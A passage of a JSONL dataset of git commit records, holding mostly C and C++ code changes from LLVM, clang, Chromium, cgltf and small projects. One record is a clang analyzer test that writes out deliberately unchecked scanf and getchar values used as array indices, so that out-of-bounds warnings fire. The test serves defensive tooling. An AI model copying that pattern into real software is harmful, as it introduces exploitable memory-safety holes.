SANITIZER_INTERCEPT_PREAD64 SI_LINUX_NOT_ANDROID\n# define SANITIZER_INTERCEPT_PWRITE64 SI_LINUX_NOT_ANDROID\n# define SANITIZER_INTERCEPT_PRCTL   SI_LINUX_NOT_ANDROID\n\n# define SANITIZER_INTERCEPT_SCANF 1\n","new_contents":"\/\/===-- sanitizer_platform_interceptors.h -----------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines macro telling whether sanitizer tools can\/should intercept\n\/\/ given library functions on a given platform.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"sanitizer_internal_defs.h\"\n\n#if !defined(_WIN32)\n# define SI_NOT_WINDOWS 1\n#else\n# define SI_NOT_WINDOWS 0\n#endif\n\n#if defined(__linux__) && !defined(ANDROID)\n# define SI_LINUX_NOT_ANDROID 1\n#else\n# define SI_LINUX_NOT_ANDROID 0\n#endif\n\n# define SANITIZER_INTERCEPT_READ   SI_NOT_WINDOWS\n# define SANITIZER_INTERCEPT_PREAD  SI_NOT_WINDOWS\n# define SANITIZER_INTERCEPT_WRITE  SI_NOT_WINDOWS\n# define SANITIZER_INTERCEPT_PWRITE SI_NOT_WINDOWS\n\n# define SANITIZER_INTERCEPT_PREAD64 SI_LINUX_NOT_ANDROID\n# define SANITIZER_INTERCEPT_PWRITE64 SI_LINUX_NOT_ANDROID\n# define SANITIZER_INTERCEPT_PRCTL   SI_LINUX_NOT_ANDROID\n\n# define SANITIZER_INTERCEPT_SCANF SI_NOT_WINDOWS\n","subject":"Disable scanf interceptor on windows.","message":"[sanitizer] Disable scanf interceptor on windows.\n\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@173037 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"06b2610307b76c594aa544e8366b291571b4e3e8","old_file":"Classes\/model\/NearbyObjectProtocol.h","new_file":"Classes\/model\/NearbyObjectProtocol.h","old_contents":"","new_contents":"\/\/\n\/\/  NearbyObjectProtocol.h\n\/\/  ARIS\n\/\/\n\/\/  Created by Brian Deith on 5\/15\/09.\n\/\/  Copyright 2009 __MyCompanyName__. All rights reserved.\n\/\/\n\nenum {\n\tNearbyObjectNPC\t\t\t= 1,\n\tNearbyObjectItem\t\t= 2,\n\tNearbyObjectNode\t\t= 3\n};\ntypedef UInt32 nearbyObjectKind;\n\n\n@protocol NearbyObjectProtocol\n- (NSString *)name; \n- (nearbyObjectKind)kind;\n- (BOOL)forcedDisplay;\n- (void)display;\n@end\n","subject":"Include nearby object protocol file","message":"Include nearby object protocol file\n","lang":"C","license":"mit","repos":"ARISGames\/iOSClient,ARISGames\/iOSClient,ARISGames\/iOSClient,ARISGames\/iOSClient,ARISGames\/iOSClient"}
{"commit":"9acecbbff3b0eca30b2a0f0767dad196b93d1225","old_file":"3RVX\/Settings.h","new_file":"3RVX\/Settings.h","old_contents":"#pragma once\n\n#include <unordered_map>\n#include <string>\n\n#include \"TinyXml2\\tinyxml2.h\"\n\nclass Skin;\n\n#define SETTINGS_APP L\"SettingsUI.exe\"\n\nclass Settings {\npublic:\n    static Settings *Instance();\n\n    static std::wstring AppDir();\n    static std::wstring SettingsApp();\n\n    std::wstring LanguagesDir();\n    std::wstring LanguageName();\n    Skin *CurrentSkin();\n    std::wstring SkinName();\n    std::wstring SkinXML();\n    std::wstring SkinXML(std::wstring skinName);\n\n    bool HasSetting(std::string elementName);\n    bool IsEnabled(std::string elementName);\n\n    std::wstring GetText(std::string elementName);\n    int GetInt(std::string elementName);\n    bool NotifyIconEnabled();\n    bool SoundEffectsEnabled();\n\n    std::unordered_map<int, int> Hotkeys();\n\n    void Reload();\n\nprivate:\n    static Settings *instance;\n    static std::wstring _appDir;\n\n    std::wstring _file;\n    tinyxml2::XMLDocument _xml;\n    tinyxml2::XMLElement *_root;\n    Skin *_skin;\n\n    Settings();\n};","new_contents":"#pragma once\n\n#include <unordered_map>\n#include <string>\n\n#include \"TinyXml2\\tinyxml2.h\"\n\nclass Skin;\n\n#define SETTINGS_APP L\"SettingsUI.exe\"\n\nclass Settings {\npublic:\n    static Settings *Instance();\n    void Reload();\n\n    static std::wstring AppDir();\n    static std::wstring SettingsApp();\n\n    std::wstring LanguagesDir();\n    std::wstring LanguageName();\n    Skin *CurrentSkin();\n    std::wstring SkinName();\n    std::wstring SkinXML();\n    std::wstring SkinXML(std::wstring skinName);\n\n    bool NotifyIconEnabled();\n    bool SoundEffectsEnabled();\n\n    std::unordered_map<int, int> Hotkeys();\n\nprivate:\n    Settings();\n\n    static Settings *instance;\n    static std::wstring _appDir;\n\n    std::wstring _file;\n    tinyxml2::XMLDocument _xml;\n    tinyxml2::XMLElement *_root;\n    Skin *_skin;\n\n    bool HasSetting(std::string elementName);\n    bool IsEnabled(std::string elementName);\n\n    std::wstring GetText(std::string elementName);\n    int GetInt(std::string elementName);\n};","subject":"Reorganize and reduce visibility for raw XML access methods","message":"Reorganize and reduce visibility for raw XML access methods\n\nThese should be performed by public methods that abstract away the XML elements\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"9e016003aac70a33c442a81cd1eb7c51c3fa52b6","old_file":"deps\/test\/openblas\/test_install.c","new_file":"deps\/test\/openblas\/test_install.c","old_contents":"","new_contents":"#include <cblas.h>\n#include <stdio.h>\n\nvoid main()\n{\n\tdouble A[ 6 ] = { 1.0, 2.0, 1.0, -3.0, 4.0, -1.0 };\n\tdouble B[ 6 ] = { 1.0, 2.0, 1.0, -3.0, 4.0, -1.0 };\n\tdouble C[ 9 ] = { 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5 };\n\tint i = 0;\n\n\tcblas_dgemm( CblasColMajor, CblasNoTrans, CblasTrans, 3, 3, 2, 1, A, 3, B, 3, 2, C, 3 );\n\n\tfor( i = 0; i < 9; i++ ) {\n\t\tprintf( \"%lf \", C[ i ] );\n\t}\n\tprintf( \"\\n\" );\n}\n","subject":"Add script to test install","message":"Add script to test install\n","lang":"C","license":"apache-2.0","repos":"stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib"}
{"commit":"e891c048cd3bd65cd80ef15097a7b092b41d9449","old_file":"tests\/regression\/36-octapron\/14-traces-unprot.c","new_file":"tests\/regression\/36-octapron\/14-traces-unprot.c","old_contents":"","new_contents":"\/\/ PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nint g = 1;\n\nvoid *t_fun(void *arg) {\n  g = 2; \/\/ write something non-initial so base wouldn't find success\n  return NULL;\n}\n\nint main(void) {\n  int x, y;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  x = g;\n  y = g;\n  \/\/ unlock(m_g)-s must forget relation with unprotected\n  assert(x == y); \/\/ UNKNOWN!\n  return 0;\n}\n","subject":"Add regression test where unprotected read must forget relation","message":"Add regression test where unprotected read must forget relation\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"74ce9a97e81b913f26f0353dc0d3e988af99cb5c","old_file":"uranus_dp\/include\/uranus_dp\/eigen_helper.h","new_file":"uranus_dp\/include\/uranus_dp\/eigen_helper.h","old_contents":"#ifndef EIGEN_HELPER_H\n#define EIGEN_HELPER_H\n\n#include <Eigen\/Dense>\n\ntemplate<typename Derived>\ninline bool isFucked(const Eigen::MatrixBase<Derived>& x)\n{\n  return !((x.array() == x.array())).all() && !( (x - x).array() == (x - x).array()).all();\n}\n\n#endif\n","new_contents":"#ifndef EIGEN_HELPER_H\n#define EIGEN_HELPER_H\n\n#include \"ros\/ros.h\"\n#include <Eigen\/Dense>\n\ntemplate<typename Derived>\ninline bool isFucked(const Eigen::MatrixBase<Derived>& x)\n{\n  return !((x.array() == x.array())).all() && !( (x - x).array() == (x - x).array()).all();\n}\n\ninline Eigen::MatrixXd getMatrixParam(ros::NodeHandle nh, std::string name)\n{\n  XmlRpc::XmlRpcValue matrix;\n  nh.getParam(name, matrix);\n\n  try\n  {\n    const int rows = matrix.size();\n    const int cols = matrix[0].size();\n    Eigen::MatrixXd X(rows,cols);\n    for (int i = 0; i < rows; ++i)\n      for (int j = 0; j < cols; ++j)\n        X(i,j) = matrix[i][j];\n    return X;\n  }\n  catch(...)\n  {\n    ROS_ERROR(\"Error in getMatrixParam. Returning 1-by-1 zero matrix.\");\n    return Eigen::MatrixXd::Zero(1,1);\n  }\n}\n\ninline void printEigen(std::string name, const Eigen::MatrixXd &x)\n{\n  std::stringstream ss;\n  ss << name << \" = \" << std::endl << x;\n  ROS_INFO_STREAM(ss.str());\n}\n\ninline Eigen::MatrixXd pinv(const Eigen::MatrixXd &X)\n{\n  Eigen::MatrixXd X_pinv = X.transpose() * ( X*X.transpose() ).inverse();\n\n  if (isFucked(X_pinv))\n  {\n    ROS_WARN(\"Could not compute pseudoinverse. Returning transpose.\");\n    return X.transpose();\n  }\n\n  return X_pinv;\n}\n\n#endif\n","subject":"Move more stuff to eigen helper header","message":"Move more stuff to eigen helper header\n","lang":"C","license":"mit","repos":"vortexntnu\/rov-control,vortexntnu\/rov-control,vortexntnu\/rov-control"}
{"commit":"3881c6907e3a18dca7878e06ef915e64021156b0","old_file":"test\/Analysis\/taint-generic.c","new_file":"test\/Analysis\/taint-generic.c","old_contents":"\/\/ RUN: %clang_cc1  -analyze -analyzer-checker=experimental.security.taint,experimental.security.ArrayBoundV2 -verify %s\n\nint scanf(const char *restrict format, ...);\nint getchar(void);\n\n#define BUFSIZE 10\n\nint Buffer[BUFSIZE];\nvoid bufferFoo1(void)\n{\n  int n;\n  scanf(\"%d\", &n);\n  Buffer[n] = 1; \/\/ expected-warning {{Out of bound memory access }}\n}\n\nvoid bufferScanfArithmetic1(int x) {\n  int n;\n  scanf(\"%d\", &n);\n  int m = (n - 3);\n  Buffer[m] = 1; \/\/ expected-warning {{Out of bound memory access }}\n}\n\nvoid bufferScanfArithmetic2(int x) {\n  int n;\n  scanf(\"%d\", &n);\n  int m = (n + 3) * x;\n  Buffer[m] = 1; \/\/ expected-warning {{Out of bound memory access }}\n}\n\nvoid scanfArg() {\n  int t;\n  scanf(\"%d\", t); \/\/ expected-warning {{Pointer argument is expected}}\n}\n","new_contents":"\/\/ RUN: %clang_cc1  -analyze -analyzer-checker=experimental.security.taint,experimental.security.ArrayBoundV2 -verify %s\n\nint scanf(const char *restrict format, ...);\nint getchar(void);\n\n#define BUFSIZE 10\n\nint Buffer[BUFSIZE];\nvoid bufferScanfDirect(void)\n{\n  int n;\n  scanf(\"%d\", &n);\n  Buffer[n] = 1; \/\/ expected-warning {{Out of bound memory access }}\n}\n\nvoid bufferScanfArithmetic1(int x) {\n  int n;\n  scanf(\"%d\", &n);\n  int m = (n - 3);\n  Buffer[m] = 1; \/\/ expected-warning {{Out of bound memory access }}\n}\n\nvoid bufferScanfArithmetic2(int x) {\n  int n;\n  scanf(\"%d\", &n);\n  int m = 100 \/ (n + 3) * x;\n  Buffer[m] = 1; \/\/ expected-warning {{Out of bound memory access }}\n}\n\nvoid bufferScanfAssignment(int x) {\n  int n;\n  scanf(\"%d\", &n);\n  int m;\n  if (x > 0) {\n    m = n;\n    Buffer[m] = 1; \/\/ expected-warning {{Out of bound memory access }}\n  }\n}\n\nvoid scanfArg() {\n  int t;\n  scanf(\"%d\", t); \/\/ expected-warning {{Pointer argument is expected}}\n}\n\nvoid bufferGetchar(int x) {\n  int m = getchar();\n  Buffer[m] = 1;  \/\/expected-warning {{Out of bound memory access }}\n}\n","subject":"Add more simple taint tests.","message":"[analyzer] Add more simple taint tests.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@145275 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"ad5e1f815335f65c20b07ed10cdac2885202a47c","old_file":"include\/llvm\/CodeGen\/ValueTypes.h","new_file":"include\/llvm\/CodeGen\/ValueTypes.h","old_contents":"","new_contents":"\/\/===- CodeGen\/ValueTypes.h - Low-Level Target independ. types --*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines the set of low-level target independent types which various\n\/\/ values in the code generator are.  This allows the target specific behavior\n\/\/ of instructions to be described to target independent passes.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_VALUETYPES_H\n#define LLVM_CODEGEN_VALUETYPES_H\n\n\/\/\/ MVT namespace - This namespace defines the ValueType enum, which contains\n\/\/\/ the various low-level value types.\n\/\/\/\nnamespace MVT {  \/\/ MRF = Machine Register Flags\n  enum ValueType {\n    Other          =   0 << 0,   \/\/ This is a non-standard value\n    i1             =   1 << 0,   \/\/ This is a 1 bit integer value\n    i8             =   1 << 1,   \/\/ This is an 8 bit integer value\n    i16            =   1 << 2,   \/\/ This is a 16 bit integer value\n    i32            =   1 << 3,   \/\/ This is a 32 bit integer value\n    i64            =   1 << 4,   \/\/ This is a 64 bit integer value\n    i128           =   1 << 5,   \/\/ This is a 128 bit integer value\n\n    f32             =   1 << 6,   \/\/ This is a 32 bit floating point value\n    f64             =   1 << 7,   \/\/ This is a 64 bit floating point value\n    f80             =   1 << 8,   \/\/ This is a 80 bit floating point value\n    f128            =   1 << 9,   \/\/ This is a 128 bit floating point value\n  };\n};\n\n#endif\n\n","subject":"Define target value types in a form usable by target-independent code","message":"Define target value types in a form usable by target-independent code\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@7375 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap"}
{"commit":"6346f9be0ecd911c67e523d8eb765bf84cd1dea6","old_file":"src\/common.h","new_file":"src\/common.h","old_contents":"\/\/ Copyright (c) 2012-2013, the scalloc Project Authors.  All rights reserved.\n\/\/ Please see the AUTHORS file for details.  Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#ifndef SCALLOC_COMMON_H_\n#define SCALLOC_COMMON_H_\n\n#define UNLIKELY(x)   __builtin_expect((x), 0)\n#define LIKELY(x)     __builtin_expect((x), 1)\n\n#define cache_aligned __attribute__((aligned(64)))\n\n#define always_inline inline __attribute__((always_inline))\n#define no_inline __attribute__((noinline))\n\nconst size_t kSystemPageSize = 4096;\n\nalways_inline size_t PadSize(size_t size, size_t multiple) {\n  return (size + multiple - 1) \/ multiple * multiple;\n}\n\n#endif  \/\/ SCALLOC_COMMON_H_\n","new_contents":"\/\/ Copyright (c) 2012-2013, the scalloc Project Authors.  All rights reserved.\n\/\/ Please see the AUTHORS file for details.  Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#ifndef SCALLOC_COMMON_H_\n#define SCALLOC_COMMON_H_\n\n#define UNLIKELY(x)   __builtin_expect((x), 0)\n#define LIKELY(x)     __builtin_expect((x), 1)\n\n#define cache_aligned __attribute__((aligned(64)))\n\n#define always_inline inline __attribute__((always_inline))\n#define no_inline __attribute__((noinline))\n\nconst size_t kSystemPageSize = 4096;\n\n\/\/ Prohibit reordering of instructions by the compiler.\ninline void CompilerBarrier() {\n  __asm__ __volatile__(\"\" : : : \"memory\");\n}\n\n\/\/ Full memory fence on x86-64\ninline void MemoryBarrier() {\n  __asm__ __volatile__(\"mfence\" : : : \"memory\");\n}\n\nalways_inline size_t PadSize(size_t size, size_t multiple) {\n  return (size + multiple - 1) \/ multiple * multiple;\n}\n\n#endif  \/\/ SCALLOC_COMMON_H_\n","subject":"Add CompilerBarrier() and MemoryBarrier() functions.","message":"Add CompilerBarrier() and MemoryBarrier() functions.\n\nSigned-off-by: Michael Lippautz <0d543840881a2c189b4f7636b15eebd6a8f60ace@gmail.com>\n","lang":"C","license":"bsd-2-clause","repos":"cksystemsgroup\/scalloc,cksystemsgroup\/scalloc,cksystemsgroup\/scalloc"}
{"commit":"9fb5888c9c8de8c942f5524c3857f8186c2edc6d","old_file":"input.c","new_file":"input.c","old_contents":"#include \"input.h\"\n\n#include <ctype.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid read_line(char *p)\n{\n    if (fgets(p, MAX_SIZE, stdin) == NULL){\n        p[0] = '\\0';\n        return;\n    }\n    remove_space(p);\n}\n\nint is_exit(const char* p)\n{\n    const char* exit_words[] = {\n        \"exit\",\n        \"quit\",\n        \"bye\",\n    };\n    int len = (int)(sizeof(exit_words) \/ sizeof(char*));\n    int i;\n\n    if (strlen(p) == 0){\n        return (1);\n    }\n    for (i = 0; i < len; i++){\n        if (strcmp(p, exit_words[i]) == 0){\n            return (1);\n        }\n    }\n    return (0);\n}\n\nvoid remove_space(char* p)\n{\n    int i, j;\n\n    i = j = 0;\n    while (p[i] != '\\0'){\n        while (isspace(p[j])){\n            j++;\n        }\n        while (!isspace(p[j])){\n            p[i] = p[j];\n            if (p[i] == '\\0'){\n                break;\n            }\n            else {\n                i++;\n                j++;\n            }\n        }\n    }\n}\n","new_contents":"#include \"input.h\"\n\n#include <ctype.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid read_line(char *p)\n{\n    if (fgets(p, MAX_SIZE, stdin) == NULL){\n        p[0] = '\\0';\n        return;\n    }\n    remove_space(p);\n}\n\nint is_exit(const char* p)\n{\n    const char* exit_words[] = {\n        \"\",\n        \"exit\",\n        \"quit\",\n        \"bye\",\n    };\n    int len = (int)(sizeof(exit_words) \/ sizeof(char*));\n    int i;\n\n    if (strlen(p) == 0){\n        return (1);\n    }\n    for (i = 0; i < len; i++){\n        if (strcmp(p, exit_words[i]) == 0){\n            return (1);\n        }\n    }\n    return (0);\n}\n\nvoid remove_space(char* p)\n{\n    int i, j;\n\n    i = j = 0;\n    while (p[i] != '\\0'){\n        while (isspace(p[j])){\n            j++;\n        }\n        while (!isspace(p[j])){\n            p[i] = p[j];\n            if (p[i] == '\\0'){\n                break;\n            }\n            else {\n                i++;\n                j++;\n            }\n        }\n    }\n}\n","subject":"Add empty string to exit words","message":"Add empty string to exit words\n","lang":"C","license":"mit","repos":"Roadagain\/Calculator,Roadagain\/Calculator"}
{"commit":"48f0a31143545af70b16b4ff079cc255acdf9419","old_file":"alura\/c\/forca.c","new_file":"alura\/c\/forca.c","old_contents":"#include <stdio.h>\n\nint main() {\n  int notas[10];\n\n  notas[0] = 10;\n  notas[2] = 9;\n  notas[3] = 8;\n  notas[9] = 4;\n\n  printf(\"%d %d %d\\n\", notas[0], notas[2], notas[9]);\n}","new_contents":"#include <stdio.h>\n\nint main() {\n  char palavrasecreta[20];\n\n  sprintf(palavrasecreta, \"MELANCIA\");\n\n  printf(\"%s\\n\", palavrasecreta);\n\n  \/*\n  palavrasecreta[0] = 'M';\n  palavrasecreta[1] = 'E';\n  palavrasecreta[2] = 'L';\n  palavrasecreta[3] = 'A';\n  palavrasecreta[4] = 'N';\n  palavrasecreta[5] = 'C';\n  palavrasecreta[6] = 'I';\n  palavrasecreta[7] = 'A';\n\n  printf(\"%c%c%c%c%c%c%c%c\\n\", palavrasecreta[0], palavrasecreta[1], palavrasecreta[2], palavrasecreta[3], palavrasecreta[4], palavrasecreta[5], palavrasecreta[6], palavrasecreta[7]);\n  *\/\n}\n","subject":"Update files, Alura, Introdução a C - Parte 2, Aula 2.2","message":"Update files, Alura, Introdução a C - Parte 2, Aula 2.2\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"a7f3d5712d54ae80ca6a2a747522f8ae65c0ed98","old_file":"webkit\/glue\/form_data.h","new_file":"webkit\/glue\/form_data.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_FORM_DATA_H__\n#define WEBKIT_GLUE_FORM_DATA_H__\n\n#include <vector>\n\n#include \"base\/string_util.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"webkit\/glue\/form_field.h\"\n\nnamespace webkit_glue {\n\n\/\/ Holds information about a form to be filled and\/or submitted.\nstruct FormData {\n  \/\/ The name of the form.\n  string16 name;\n  \/\/ GET or POST.\n  string16 method;\n  \/\/ The URL (minus query parameters) containing the form.\n  GURL origin;\n  \/\/ The action target of the form.\n  GURL action;\n  \/\/ true if this form was submitted by a user gesture and not javascript.\n  bool user_submitted;\n  \/\/ A vector of all the input fields in the form.\n  std::vector<FormField> fields;\n\n  \/\/ Used by FormStructureTest.\n  inline bool operator==(const FormData& form) const {\n    return (name == form.name &&\n            StringToLowerASCII(method) == StringToLowerASCII(form.method) &&\n            origin == form.origin &&\n            action == form.action &&\n            user_submitted == form.user_submitted &&\n            fields == form.fields);\n  }\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_FORM_DATA_H__\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_FORM_DATA_H__\n#define WEBKIT_GLUE_FORM_DATA_H__\n\n#include <vector>\n\n#include \"base\/string_util.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"webkit\/glue\/form_field.h\"\n\nnamespace webkit_glue {\n\n\/\/ Holds information about a form to be filled and\/or submitted.\nstruct FormData {\n  \/\/ The name of the form.\n  string16 name;\n  \/\/ GET or POST.\n  string16 method;\n  \/\/ The URL (minus query parameters) containing the form.\n  GURL origin;\n  \/\/ The action target of the form.\n  GURL action;\n  \/\/ true if this form was submitted by a user gesture and not javascript.\n  bool user_submitted;\n  \/\/ A vector of all the input fields in the form.\n  std::vector<FormField> fields;\n\n  FormData() : user_submitted(false) {}\n\n  \/\/ Used by FormStructureTest.\n  inline bool operator==(const FormData& form) const {\n    return (name == form.name &&\n            StringToLowerASCII(method) == StringToLowerASCII(form.method) &&\n            origin == form.origin &&\n            action == form.action &&\n            user_submitted == form.user_submitted &&\n            fields == form.fields);\n  }\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_FORM_DATA_H__\n","subject":"Add a default constructor for FormData. There are too many places that create FormDatas, and we shouldn't need to initialize user_submitted for each call site.","message":"AutoFill: Add a default constructor for FormData. There are too many places\nthat create FormDatas, and we shouldn't need to initialize user_submitted for\neach call site.\n\nBUG=50423\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/3074023\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@54641 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"c840bf5d4905d023d6495550759bc9cf08bb3aa3","old_file":"test\/main.c","new_file":"test\/main.c","old_contents":"\n\n#define CGLTF_IMPLEMENTATION\n#include \"..\/cgltf.h\"\n\n#include <stdio.h>\n\nint main(int argc, char** argv)\n{\n\tif (argc < 2)\n\t{\n\t\tprintf(\"err\\n\");\n\t\treturn -1;\n\t}\n\n\tFILE* f = fopen(argv[1], \"rb\");\n\tif (!f)\n\t{\n\t\treturn -2;\n\t}\n\n\tfseek(f, 0, SEEK_END);\n\tlong size = ftell(f);\n\tfseek(f, 0, SEEK_SET);\n\n\tvoid* buf = malloc(size);\n\tfread(buf, size, 1, f);\n\n\tfclose(f);\n\n\tcgltf_options options = {0};\n\tcgltf_data* data = NULL;\n\tcgltf_result result = cgltf_parse(&options, buf, size, &data);\n\n\tprintf(\"Result: %d\\n\", result);\n\tif (result == cgltf_result_success)\n\t{\n\t\tprintf(\"Type: %u\\n\", data->file_type);\n\t\tprintf(\"Meshes: %lu\\n\", data->meshes_count);\n\t}\n\n\tfree(buf);\n\n\tcgltf_free(data);\n\n\treturn result;\n}\n","new_contents":"\n\n#define CGLTF_IMPLEMENTATION\n#include \"..\/cgltf.h\"\n\n#include <stdio.h>\n\nint main(int argc, char** argv)\n{\n\tif (argc < 2)\n\t{\n\t\tprintf(\"err\\n\");\n\t\treturn -1;\n\t}\n\n\tcgltf_options options = {0};\n\tcgltf_data* data = NULL;\n\tcgltf_result result = cgltf_parse_file(&options, argv[1], &data);\n\n\tif (result == cgltf_result_success)\n\t\tresult = cgltf_load_buffers(&options, data, argv[1]);\n\n\tprintf(\"Result: %d\\n\", result);\n\n\tif (result == cgltf_result_success)\n\t{\n\t\tprintf(\"Type: %u\\n\", data->file_type);\n\t\tprintf(\"Meshes: %lu\\n\", data->meshes_count);\n\t}\n\n\tcgltf_free(data);\n\n\treturn result;\n}\n","subject":"Add cgltf_parse_file and cgltf_load_buffers to test program","message":"Add cgltf_parse_file and cgltf_load_buffers to test program\n\nWith this CI tests will run almost all of the code on glTF sample models\n- this will validate that the code that loads external buffers and\nparses Base64 data URIs is correct.\n","lang":"C","license":"mit","repos":"jkuhlmann\/cgltf,jkuhlmann\/cgltf,jkuhlmann\/cgltf"}
{"commit":"1c284ac5ec72c86b9ed787b3f4e1a6978c919370","old_file":"lib\/Target\/PowerPC\/PPCTargetMachine.h","new_file":"lib\/Target\/PowerPC\/PPCTargetMachine.h","old_contents":"\/\/===-- PPC32TargetMachine.h - PowerPC\/Darwin TargetMachine ---*- C++ -*-=\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ \n\/\/ This file declares the PowerPC\/Darwin specific subclass of TargetMachine.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef POWERPC_DARWIN_TARGETMACHINE_H\n#define POWERPC_DARWIN_TARGETMACHINE_H\n\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/TargetFrameInfo.h\"\n#include \"llvm\/PassManager.h\"\n#include \"PowerPCTargetMachine.h\"\n#include <set>\n\nnamespace llvm {\n\nclass GlobalValue;\nclass IntrinsicLowering;\n\nclass PPC32TargetMachine : public PowerPCTargetMachine {\npublic:\n  PPC32TargetMachine(const Module &M, IntrinsicLowering *IL);\n\n  \/\/\/ addPassesToEmitMachineCode - Add passes to the specified pass manager to\n  \/\/\/ get machine code emitted.  This uses a MachineCodeEmitter object to handle\n  \/\/\/ actually outputting the machine code and resolving things like the address\n  \/\/\/ of functions.  This method should returns true if machine code emission is\n  \/\/\/ not supported.\n  \/\/\/\n  virtual bool addPassesToEmitMachineCode(FunctionPassManager &PM,\n                                          MachineCodeEmitter &MCE);\n  \n  static unsigned getModuleMatchQuality(const Module &M);\n};\n\n} \/\/ end namespace llvm\n\n#endif\n","new_contents":"\/\/===-- PPC32TargetMachine.h - PowerPC\/Darwin TargetMachine ---*- C++ -*-=\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ 